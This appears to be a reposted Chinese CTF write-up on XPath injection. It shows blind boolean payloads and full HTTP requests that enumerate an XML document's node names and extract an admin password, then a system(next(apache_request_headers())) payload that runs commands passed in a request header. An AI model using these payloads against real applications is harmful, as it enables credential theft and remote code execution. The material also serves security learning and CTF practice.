扫码领资料
获网安教程
XPath注入是一种针对使用XPath(XML Path Language)的应用程序进行攻击的安全漏洞。XPath是一种用于在XML文档中定位信息的查询语言,类似于SQL中的查询语言。XPath注入类似于SQL注入,攻击者利用应用程序未正确验证用户输入的漏洞,向应用程序提交恶意构造的XPath查询,从而绕过认证、获取未授权的数据或执行未经授权的操作。
在一次CTF题目中,正巧碰到了该类型的注入,网上资料挺少的,于是记录一下。本文会全面讲解。
首先举一个Xml的案例,在Xml语法中,是比较严格的。
比如:
<book>
<title>Hello</title>
<name>小明</name>
</book>
都为成对出现,而所谓的Xpath注入,其实和SQL注入类似,查询的是xml中的内容,比如节点名,节点下有哪些子节点,子节点里面有哪些内容等等。
比如一个账号密码写到了xml中,用户名aaa,密码123456。通过Xpath注入,就可以获取到其中的账号和密码,进行下一步操作。
<admin>
<user>aaa</user>
<pass>123456</pass>
<admin>
该题目打开之后是一个查询的页面:
当输入1'时候报错,显示有xpath错误等(目前结束了,只有当时留下的截图)
(找了个线上类似的CTF靶场,与原题不一样,但可以看看https://buuoj.cn/challenges#[NPUCTF2020]ezlogin)
首先查询根节点数量:
'or count(/)=1 or ''=' ###根节点数量为1'or count(/*)=1 or ''=' ##根节点下只有一个子节点
不过在原题中,count函数无法使用,所以后面多走了很多弯路。
查询根节点下的节点名称:
'or substring(name(/*[1]), 1, 1)='a' or ''=''or substring(name(/*[1]), 2, 1)='c' or ''='
'or substring(name(/*[1]), 8, 1)='s' or ''='
简单解释一下上面的语句,name其实可以理解为一个内置函数,查询的为根节点的名字,比如1,1判断第一个字符是否为a,这里可以直接用burp爆破来做测试,循环遍历a-zA-Z0-9即可。
查询根节点名称:
POST /query.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 63
Connection: close{"student_id":"'or substring(name(/*[1]), 1, 1)='1' or ' '='"}
最后爆破出来的根节点为:school
所以自己可以先行构造该xml为:
<school></school>
那么得知school为根节点之后,继续往后测试。
查询school下方节点:
'or substring(name(/school/[position()=1]/*[1]),1,1)='1' or ' '='
此时[position()=1]/*[1])查询的则为根节点中,第一个子节点的名称,同理使用burp爆破即可。比如查询school下的第二个子节点,只需要改成[2]即可。
比如school下的第一个子节点为students。查询students下方的节点。/school/students/[position()=1]/*[1])来查询students中的第一个子节点....
经过依次类推:
POST /query.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 91
Connection: close{"student_id":"'or substring(name(/school/students/student/[position()=1]/*[1]),1,1)='1' or ' '='"}
最终得到整个xml语法结构:
<school>
<students>
<student>
<id></id>
<name></name>
<college></college>
</student>
<student>
<id></id>
<name></name>
<college></college>
</student>
<student>
<id></id>
<name></name>
<college></college>
</student>
</students>
<admin>
<username></username>
<password></password>
<admin>
</school>
此时只知道整个xml的结构,就开始查询其中的内容。
这里有个坑,最开始没有查询school下的第二个子节点,也就是admin。导致一直在student节点里面玩....发现能查询出id,但name和college都为空。思路就停滞住了。一切的坑全部在count函数被禁用。导致一直以为只有一个节点...
{"student_id":"'or substring(name(/school/*[2]), 1, 1)='1' or ' '='} 这条语句此时就是查询的就是school下第二个节点的名字。最终查询出admin这个节点
然后继续查admin下方的节点:
比如<admin><子节点></子节点></admin>
{"student_id":"'or substring(name(/school/admin[position()=1]/*[2]),1,1)='1' or ' '='"}
跑内容的话相对简单,下方这条语句表示查询password中的内容,且判断的为第四位,这里继续用burp爆破即可。鸡肋的地方在于不知道啥时候结束。只能一个个往后爆破。带着点运气的手法了。
POST /query.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 83
Connection: close{"student_id":"'or substring(/school/admin/password/text(), 4, 1)='1' or ' '='"}
最终成果: admin xxxxxxx123 (密码这里随便写了一个)
<school>
<students>
<student>
<id>101</id>
<name></name>
<college></college>
</student>
<student>
<id>102</id>
<name></name>
<college></college>
</student>
<student>
<id>103</id>
<name></name>
<college></college>
</student>
</students>
<admin>
<username>admin</username>
<password>xxxxxxx123</password>
<admin>
</school>
得知前面的账号密码后登录后台:
登录后就是一个命令执行:
但是只能执行phpinfo,无法执行其它命令。
最后通过在header中来执行命令~
POST /home.php HTTP/1.1
Host:
User-Agent: 执行命令的地方
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43code=system(next(apache_request_headers()))
总体来说该题目很有意思,由于已结束,所以图可能比较少,具体可以看一下Xpath的文档:
https://www.w3school.com.cn/xpath/index.asp
来源:https://www.freebuf.com/articles/web/386942.html
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
看到这里了,点个“赞”、“再看”吧